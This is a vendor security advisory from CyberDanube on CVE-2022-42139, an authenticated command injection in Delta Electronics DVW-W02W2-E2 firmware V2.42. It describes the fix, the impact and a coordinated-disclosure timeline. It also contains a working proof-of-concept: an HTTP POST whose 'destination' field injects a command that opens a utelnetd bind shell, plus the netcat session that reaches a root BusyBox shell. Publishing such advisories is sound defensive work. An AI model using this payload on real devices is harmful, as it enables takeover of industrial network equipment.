CVE-2022-42139: [EN] Authenticated Command Injection in Delta Electronics DVW-W02W2-E2 - CyberDanube

Title: Authenticated Command Injection
Product: Delta Electronics DVW-W02W2-E2
Vulnerable version: V2.42
Fixed version: V2.5.2
CVE: CVE-2022-42139
Impact: High
Homepage: https://www.deltaww.com
Found: 2022-08-01

Delta Electronics DVW-W02W2-E2 is prone to an authenticated command injection vulnerability. This vulnerability can be used to execute arbitrary commands on the device.

Vendor description

“Delta, founded in 1971, is a global provider of power and thermal management solutions. Its mission statement, “To provide innovative, clean and energy -efficient solutions for a better tomorrow,” focuses on addressing key environmental issues such as global climate change. As an energy-saving solutions provider with core competencies in power electronics and automation, Delta’s business categories include Power Electronics, Automation, and Infrastructure.”

Source: https://www.deltaww.com/en-US/about/aboutProfile

Vulnerable versions****Vulnerability overview

1. Authenticated Command Injection
   The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, or controls various critical equipment via serial ports, more extensive damage in the corresponding network can be done by an attacker.

Proof of Concept****1) Authenticated Command Injection

The web server is prone to an authenticated command injection via POST parameters. This is only possible if the “timestamp” parameter is set correctly in the URL. The following proof-of-concept shows how to open a port binding shell on port 8889 with a “utelnetd” listener:

POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Host: 192.168.3.148
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://192.168.3.148
Connection: close
Referer: http://192.168.3.148/MT_ping.htm
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1

submit_flag=mt_ping&hid_ver1=&hid_ser1=&hid_comm1=&hid_ver2=&hid_ser2=&hid_comm2=&destination=`utelnetd%20-p%208889%20-l%20/bin/ash%20-d`

For accessing the device, the command “netcat” can be used:

$ nc 192.168.3.150 8889
��
��!��
��

BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

/ #

The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Update to firmware version V2.5.2.

Workaround****Recommendation

CyberDanube recommends Delta Electronics customers to upgrade the firmware to the latest version available.

References****Contact Timeline

• 2022-08-02: Contacting Delta Electronics.
• 2022-08-10: Vendor requested the advisory without encryption; Sent advisory to Delta Electronics.
• 2022-08-16: Security contact asked few questions regarding responsible disclosure; Sent answers.
• 2022-08-30: Asked for an update.
• 2022-09-01: Vendor responded, that they will need more time to resolve the issues; Provided additional 30 days (until 2022-11-02) for patching.
• 2022-10-11: Asked for an update.
• 2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted release date to this date.
• 2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted advisory release date to the same day.
• 2022-10-17: Asked for an update regarding the release; No answer.
• 2022-10-18: Asked for an update and shifted release date to 2022-10-22.
• 2022-10-19: Vendor responded, that there were problems at releasing the patch. Contact stated, that the patch will delay until end of November.
• 2022-10-21: Asked vendor for a concrete release date; No answer.
• 2022-10-28: Announced advisory release date for 2022-10-30 to vendor.
• 2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors website.
• 2022-10-30: Vendor confirmed fixes. Coordinated release of security advisory.

Author

Thomas Weber is co-founder and security researcher at CyberDanube in the field of embedded systems, (I)IoT and OT. He has uncovered numerous zero-day vulnerabilities and has published a large number of security advisories in the past. As part of his scientific work, he developed an emulation system for firmware – today the SaaS tool > MEDUSA < has emerged out of this. In the past he spoke at cyber security conferences such as HITB, BlackHat, IT-SECX, HEK.SI and OHM(international). Nowadays, he brings his competence and experience into security products.